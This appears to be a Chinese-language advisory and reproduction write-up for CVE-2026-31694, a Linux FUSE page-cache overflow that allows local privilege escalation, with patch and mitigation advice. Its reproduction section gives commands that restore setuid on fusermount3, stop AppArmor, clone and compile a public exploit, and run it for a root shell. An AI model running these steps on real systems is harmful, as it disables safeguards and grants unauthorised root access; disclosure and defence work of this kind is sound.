CVE-2026-31694 是 Linux 内核 FUSE 子系统中的一个页缓存溢出漏洞。
该漏洞核心在于 fuse_add_dirent_to_cache() 函数未能正确校验服务端返回的目录项(dirent)序列化大小是否超过单个 page cache page(通常4KiB)。攻击者通过构造超大 namelen(如 4095)的目录项,可导致 memcpy() 溢出当前页缓存,写入相邻内核页面,从而实现内核内存破坏或本地权限提升。
该漏洞属于典型的peer-controlled-length类问题,早期FUSE readdir处理路径的输入验证不足,为后续研究者构造利用提供了条件。
受影响范围:主要为2026年5月前未打补丁的主线及stable内核(补丁已进入v6.15-rc1及多个stable分支)。目前主流发行版大多已推送修复,未及时更新的系统(如部分Ubuntu 26.04测试环境)仍可能受影响,尤其在fusermount3保留setuid且AppArmor限制不足时。
复现指南
秀逗猫目前只在Ubuntu 26.04复现成功,且需要做以下前置操作:
# 重新设置fusermount3 setuidchmod u+s /usr/bin/fusermount3# 临时禁用AppArmorsystemctl stop apparmor && aa-teardown
创建新的低权限用户
useradd -s /bin/bash -m pseudoecho pseudo:cat@md5 | chpasswd
使用低权限用户登录 SSH 后,执行
git clone --filter=blob:none --sparse https://github.com/Bynario/pocs && cd pocs && git sparse-checkout set linux/cve-2026-31694 && cd linux/cve-2026-31694cc -O2 -Wall -Wextra -pthread -o lpe lpe.c./lpe --cmd '/bin/bash -p'# 若是执行一次不成功,再执行一次试试
修复指南
强烈建议立即更新到包含修复补丁的内核版本(推荐通过发行版官方源升级)。
其他缓解措施:
# 移除fusermount3 setuid(最有效,但会影响依赖FUSE的桌面功能)sudo chmod u-s /usr/bin/fusermount3